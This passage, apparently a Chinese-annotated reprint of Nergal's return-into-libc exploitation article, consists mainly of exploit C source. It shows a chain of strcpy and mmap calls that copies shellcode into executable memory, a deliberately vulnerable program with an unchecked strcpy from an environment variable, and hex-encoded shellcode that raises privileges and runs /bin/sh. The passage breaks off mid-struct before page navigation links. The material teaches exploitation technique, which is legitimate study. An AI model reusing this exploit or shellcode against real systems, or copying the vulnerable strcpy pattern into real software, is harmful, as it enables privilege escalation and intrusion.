memset(theov.scratch, ''''X'''', sizeof(theov.scratch));

        if (argc == 2 && !strcmp("testing", argv[1])) {
                for (i = 0; i < sizeof(theov.scratch); i++)
                        theov.scratch[i] = i + 0x10;
                theov.eip = 0x05060708;
        } else {
/* To make the code easier to read, we initially return into "ret". This will
return into the address at the beginning of our "zero1" struct. */
                theov.eip = PLAIN_RET;
        }

        memset(&thebuf, ''''Y'''', sizeof(thebuf));

        thebuf.zero1.func = STRCPY;
        thebuf.zero1.leave_ret = POPSTACK;
/* The following assignment puts into "param1" the address of the least
significant byte of the "offset" field of "mmap_args" structure. This byte
will be nullified by the strcpy call. */
        thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
            offsetof(struct mmap_args, offset);
        thebuf.zero1.param2 = PTR_TO_NULL;

        thebuf.zero2.func = STRCPY;
        thebuf.zero2.leave_ret = POPSTACK;
/* Also the "start" field must be the multiple of page. We have to nullify
its least significant byte with a strcpy call. */
        thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
            offsetof(struct mmap_args, start);
        thebuf.zero2.param2 = PTR_TO_NULL;

        thebuf.mymmap.func = MMAP; /*调用mmap函数*/
        thebuf.mymmap.leave_ret = POPSTACK;
        thebuf.mymmap.start = MMAP_START + 1; /*mmap函数映像开始地址*/
        thebuf.mymmap.length = 0x01020304;    /*mmap函数映像长度*/
/* Luckily, 2.4.x kernels care only for the lowest byte of "prot", so we may
put non-zero junk in the other bytes. 2.2.x kernels are more picky; in such
case, we would need more zeroing. */
        thebuf.mymmap.prot =
            0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;
/* Same as above. Be careful not to include MAP_GROWS_DOWN */
        thebuf.mymmap.flags =
            0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS;
        thebuf.mymmap.fd = 0xffffffff;      /*文件描述符，即为-1 */  
        thebuf.mymmap.offset = 0x01021001; /*mmap偏移量*/
/*以上设置函数mmap()的各个参数，见4.2节*/
/* The final "strcpy" call will copy the shellcode into the freshly mmapped
area at MMAP_START. Then, it will return not anymore into POPSTACK, but at
MMAP_START+1.
*/
/*以下调用strcpy(),将shellcode拷贝到新mmap的映像区域，该区域在参数*start地址+1 */
        thebuf.trans.func = STRCPY;
        thebuf.trans.leave_ret = MMAP_START + 1;
        thebuf.trans.param1 = MMAP_START + 1;
        thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell);

        memset(thebuf.hell, ''''x'''', sizeof(thebuf.hell));
        strncpy(thebuf.hell, hellcode, strlen(hellcode));

        strcpy(lg, "LNG=");
        memcpy(lg + 4, &theov, sizeof(theov));
        memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf));
        lg[4 + sizeof(thebuf) + sizeof(theov)] = 0;

        if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) {
                fprintf(stderr,
                    "size=%i len=%i; zero(s) in the payload, correct it.\n",
                    sizeof(struct ov) + sizeof(struct ourbuf) + 4,
                    strlen(lg));
                exit(1);
        }
        execle("./vuln.omit", "./vuln.omit", 0, env, 0);
}
<-->

<++> pax.c
#include <stdlib.h>
#include <string.h>
char spare[1024];
char bigbuf[1024];

int
main(int argc, char ** argv)
{
 char buf[16];
 char * ptr=getenv("STR");
 if (ptr) {
  bigbuf[0]=0;
  strncat(bigbuf, ptr, sizeof(bigbuf)-1);
 }
 ptr=getenv("LNG");
 if (ptr)
   strcpy(buf, ptr); 
}
<-->

<++> ex-frame.c
/* by Nergal */
#include <stdio.h>
#include <stddef.h>
#include <sys/mman.h>

#define LIBC        0x4001e000
#define STRCPY      0x08048398
#define MMAP        (0x000daf10+LIBC)
#define LEAVERET    0x80484bd
#define FRAMES      0xbffffe30

#define MMAP_START  0xaa011000

char hellcode[] =
    "\x90"
    "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

/* See the comments in ex-move.c */
struct two_arg {
        unsigned int new_ebp;
        unsigned int func;
        unsigned int leave_ret;
        unsigned int param1;
        unsigned int param2;
};
struct mmap_args {
        unsigned int new_ebp;
        unsigned int func;
        unsigned int leave_ret;
     &nbs

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]  ...  下一页 >>